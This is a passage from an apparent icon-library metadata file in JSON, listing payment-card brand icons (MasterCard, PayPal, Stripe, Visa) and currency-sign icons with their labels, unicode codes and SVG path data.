286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"
      }
    },
    "free": ["brands"]
  },
  "cc-mastercard": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f1",
    "label": "MasterCard Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"
      }
    },
    "free": ["brands"]
  },
  "cc-paypal": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f4",
    "label": "Paypal Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-stripe": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f5",
    "label": "Stripe Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"
      }
    },
    "free": ["brands"]
  },
  "cc-visa": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f0",
    "label": "Visa Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"
      }
    },
    "free": ["brands"]
  },
  "cedi-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Cedi Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e0df",
    "label": "Cedi Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V66.7C101.2 81.9 32 160.9 32 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c30.9-5.2 59.2-17.7 83.2-35.8c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-13.2 9.9-28.3 17.3-44.8 21.6V132c16.4 4.2 31.6 11.6 44.8 21.6c14.1 10.6 34.2 7.8 44.8-6.4s7.8-34.2-6.4-44.8c-24-18-52.4-30.6-83.2-35.8V32zM192 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V66.7C101.2 81.9 32 160.9 32 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c30.9-5.2 59.2-17.7 83.2-35.8c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-13.2 9.9-28.3 17.3-44.8 21.6V132c16.4 4.2 31.6 11.6 44.8 21.6c14.1 10.6 34.2 7.8 44.8-6.4s7.8-34.2-6.4-44.8c-24-18-52.4-30.6-83.2-35.8V32zM192 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124z"
      }
    },
    "free": ["solid"]
  },
  "cent-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Cent Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e3f5",
    "label": "Cent Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V66.7c30.9 5.2 59.2 17.7 83.2 35.8c14.1 10.6 17 30.7 6.4 44.8s-30.7 17-44.8 6.4C279.4 137.5 252.9 128 224 128c-70.7 0-128 57.3-128 128s57.3 128 128 128c28.9 0 55.4-9.5 76.8-25.6c14.1-10.6 34.2-7.8 44.8 6.4s7.8 34.2-6.4 44.8c-24 18-52.4 30.6-83.2 35.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C101.2 430.1 32 351.1 32 256s69.2-174.1 160-189.3V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
